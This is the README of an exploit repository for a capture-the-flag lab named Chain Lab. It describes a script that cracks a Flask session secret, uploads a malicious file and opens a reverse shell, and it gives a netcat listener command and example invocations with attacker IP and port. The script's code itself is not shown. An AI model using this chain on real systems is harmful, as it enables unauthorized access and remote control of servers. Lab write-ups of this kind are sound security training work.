Flask Authentication Bypass and RCE Exploit – Chain Lab Writeup

This repository contains a Python script that exploits authentication bypass and remote code execution (RCE) vulnerabilities in a Flask web application. The goal is to demonstrate how these vulnerabilities can be used for a reverse shell attack. The script is designed to:

• Bypass Flask Authentication: Using the flask-unsign tool and a wordlist (Rockyou.txt), the script tries to brute-force and find the secret key for the Flask session cookie, allowing unauthorized access to the web application.
• Upload Reverse Shell: Once authenticated, the script uploads a malicious Python file that triggers a reverse shell on the target machine.
• Trigger Reverse Shell: Finally, the script triggers the reverse shell, which connects back to the attacker's machine.

Prerequisites

To use this script, you will need:

• Python 3.x
• Flask Unsigned Cookie tool (flask-unsign) pip3 install flask-unsign
• A valid wordlist, such as Rockyou.txt, to brute-force the secret key.
• Netcat installed on the attacker's machine for reverse shell functionality.

Blog Writeup

For a detailed explanation of the attack and step-by-step Writeup, please visit my blog post:

Exploiting Flask Authentication and RCE Vulnerabilities – Chain Lab Writeup

Alternatively, you can refer to the challenge page directly here: CyberExam - Chain Lab Challenge

How to Use

Start a Netcat Listener

• Before running the script, make sure to start a netcat listener on your attacker's machine to listen for the reverse shell connection:

nc -lvnp <attacker_port>

Run the Exploit Script

• Execute the script with the following command:

python3 poc.py http://<target_host> <target_port> <rockyou_path> <attacker_ip> <attacker_port>

Example Usage

• Here’s an example command:

python3 poc.py http://10.0.3.13 1234 /usr/share/wordlists/rockyou.txt 10.0.3.2 4848

Screenshoots